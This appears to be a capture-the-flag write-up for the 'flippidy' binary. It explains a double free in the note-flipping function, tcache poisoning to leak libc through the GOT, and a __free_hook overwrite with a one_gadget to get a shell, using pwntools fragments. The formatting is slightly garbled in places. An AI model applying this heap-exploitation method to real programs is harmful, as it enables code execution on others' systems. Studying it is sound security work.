See if you can flip this program into a flag :D
nc dicec.tf 31904
- Set the limit of notes to 1.
- Alloc a new note with the global
- Running flip will trigger a double free and poison the next pointer of tchachebin[0x40] to
- Next malloc will write to
0x404020which is where is located the pointer of the strings of the menu.
- Change this pointers to a
GOT['fgets']to get a leak, at the same time we can corrupt the pointer at
0x404158is the address of the first entry of the note list having the control of this will give us arbitrary write at our control.
- Change the pointer at
0x404158to free_hook and set it to
- Trigger free with
flip functionto get a shell.
$ file flippidy
flippidy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9bad92d378d5af68a52fd2856145dc8588533a25, for GNU/Linux 3.2.0, stripped
$ checksec --file=flippidy
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 4 flippidy
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
The main function asks for the size of the note list, the size of the list is stored at
sub_4011c6 will print the menu with the options to operate on the notebook, note that the strings are present in a global variable at
int result; // eax
int i; // [rsp+Ch] [rbp-4h]
result = puts("\n");
for ( i = 0; i <= 3; ++i )
result = puts(off_404020[i]);
while ( 1 )
A very important thing to refer that offsets at
0x404020 contains pointers (we can use this later if we manage to get an arbitrary write to leak libc):
.data:0000000000404020 off_404020 dq offset aMenu ; DATA XREF: sub_4011C6+2A↑o
We can add new notes with option 1, the size is limited to 0x30.
Flip function will exchange the position of the notes hence the name flipping, in the end it frees the old notes and mallocs the new ones by copping their contents with strcpy.
For example if the notebook has 2 notes this how it works:
strcpythe contents of 1st note to
- Frees 1st note.
strcpythe content of 2nd note to
- Frees 2nd note.
mallocand store this new chunk at the position of the 2nd note and
strcpythe content of the 1st note
mallocand store this new chunk at the position of the 1st note and
strcpythe content of the 2nd note
unsigned __int64 sub_401378()
To get a leak we first need to find a way to get an arbitrary write, we know that the pointers to the strings of the menu are present at a global variable at
0x404020 if we can manage to change this pointer to a GOT address we can leak a libc address.
What happens if we run the flip function when the size of the notebook only has 1 note ?
The 1st note will be also the last note! because of this we will have a double free! and at the same time we will corrupt the next pointer of the tcachebin[0x40] list to the value we want!
def add(index, content):
Next malloc will overwrite data in 0x402020 which contains the pointers of the MENU, if we change them to a GOT address we will leak libc in the next menu print of the loop.
The tcache bin list is looking like this right now:
0x0000000000404020 -> 0x0000000000404040 -> 0x654d202d2d2d2d2d
We have enough bytes to overwrite the 3rd item of the list at 0x404040 we can easily poison this tcache bin by changing it to 0x404158.
0x404158 address is important because it contains the pointer of the first note of the notebook, if we control this value we will be able to write anywhere.
# 0x0000000000404020 -> 0x0000000000404040 -> 0x654d202d2d2d2d2d
Now that we have libc we just need to overwrite malloc_hook or free_hook to one_gadget to get a shell.
After our last malloc the tcachebin is looking like this:
0x0000000000404040 -> 0x0000000000404158 -> 0x0000000000b65260 -> 0x404020 -> …
1st malloc and setting 0xdeadbeef as input, the list will look like this:
0x0000000000404158 -> 0x0000000000b65260 -> 0x0000000000404040 -> 0x00000000deadbeef
2nd malloc and setting p64(LIBC+libc.symbols[‘__free_hook’]) as input:
0x0000000000b65260 -> 0x0000000000404158 -> FREE_HOOK -> 0x0
3rd malloc and setting 0xdeadbeef as input:
0x0000000000404158 -> FREE_HOOK -> 0x0000000000b65260 -> 0xdeadbeef
4th malloc and setting p64(LIBC+libc.symbols[‘__free_hook’]) as input:
FREE_HOOK -> 0x0000000000404158 -> FREE_HOOK -> …
Next malloc will write into FREE_HOOK, with that we can easily fill it with one_gadget address.
The python code:
# 0x0000000000404040 -> 0x0000000000404158 -> 0x0000000000b65260 -> 0x404020 -> ...
# 0x0000000000404158 -> 0x0000000000b65260 -> 0x0000000000404040 -> 0x00000000deadbeef
# 0x0000000000b65260 -> 0x0000000000404158 -> FREE_HOOK -> 0x0
# 0x0000000000404158 -> FREE_HOOK -> 0x0000000000b65260 -> 0xdeadbeef
# FREE_HOOK -> 0x0000000000404158 -> FREE_HOOK -> ...
add(0,p64(ONE_SHOT)) # Sets FREE_HOOK to ONE_SHOT
Triggering free to get a shell:
flip() # Triggers free_hook and gets ourselves a shell
The entire script:
from pwn import *
Running the script:
$ python flippidy.py REMOTE